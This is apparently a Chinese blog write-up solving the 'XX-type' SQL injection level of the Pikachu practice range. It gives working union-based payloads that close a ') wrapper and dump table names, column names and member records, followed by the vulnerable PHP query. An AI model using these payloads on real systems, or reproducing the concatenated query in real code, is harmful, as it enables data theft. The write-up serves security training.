Pikachu靶场通关笔记(21) — SQL Inject (XX型注入)

26次阅读
没有评论

摘要 / 前言:
在前面的关卡中,我们遇到了不闭合的(数字型)、单引号闭合的(字符型)和百分号闭合的(搜索型)。本关命名为“XX 型”,意指“未知类型”或“特殊类型”。这要求渗透测试人员通过报错信息或盲测来推测后端 SQL 语句对参数的包裹方式。经过测试,本关是典型的 括号单引号闭合 注入。


一、漏洞分析与闭合推测

我们在输入框中输入常规的测试字符:

  • 输入 kobe' -> 报错,说明存在语法错误,单引号起作用了。
  • 输入 kobe') -> 报错变化或页面显示异常。
  • 输入 kobe') or 1=1 # -> 页面成功显示所有用户信息。

结论:
后端的 SQL 语句结构大概率为:

SELECT ... FROM ... WHERE username = ('$name')

因此,我们需要构造 ') 来闭合前方的括号和引号,再进行注入。


二、注入利用语句 (Payloads)

以下是针对本关卡的完整注入流程语句。请注意,在网页输入框中操作时,推荐使用 # 作为注释符。

1. 验证注入 (Boolean Verification)

利用逻辑判断确认注入点。

123') or 1=1 #
Pikachu 靶场通关笔记(21) — SQL Inject (XX 型注入)

2. 确认字段数 (Order By)

判断当前查询结果有几列。

123') order by 2 #

(如果回显正常,尝试 order by 3 报错,则说明有 2 列)

Pikachu 靶场通关笔记(21) — SQL Inject (XX 型注入)

3. 基础信息查询 (Union Select)

获取当前数据库用户和数据库名称。

123') union select user(),database() #
Pikachu 靶场通关笔记(21) — SQL Inject (XX 型注入)

4. 爆表名 (Dump Tables)

查询当前数据库下的所有表名。

123') union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #
Pikachu 靶场通关笔记(21) — SQL Inject (XX 型注入)

5. 爆列名 (Dump Columns)

查询 member 表中的字段名称。

123') union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member' #
Pikachu 靶场通关笔记(21) — SQL Inject (XX 型注入)

6. 爆数据 (Dump Data)

获取用户的账号、密码等敏感信息。

123') union select database(),group_concat(username,sex,phonenum) from member #
Pikachu 靶场通关笔记(21) — SQL Inject (XX 型注入)

三、源码简析

虽然“XX 型”名字听起来神秘,但看源码就会发现它只是多加了一层括号:

if(isset($_GET['submit']) && $_GET['name']!=null){$name=$_GET['name'];
    // 这里的参数被 (' ') 包裹
    $query="select id,email from member where username=('$name')";
    $result=execute($link, $query);
    // ...
}

总结:
SQL 注入的本质始终是 闭合原有结构 拼接恶意语句 注释剩余代码。无论后端加上了括号 ()、双引号 "" 还是花括号 {},只要我们能试探出闭合的符号,攻击方式都是万变不离其宗的。

正文完
 0
评论(没有评论)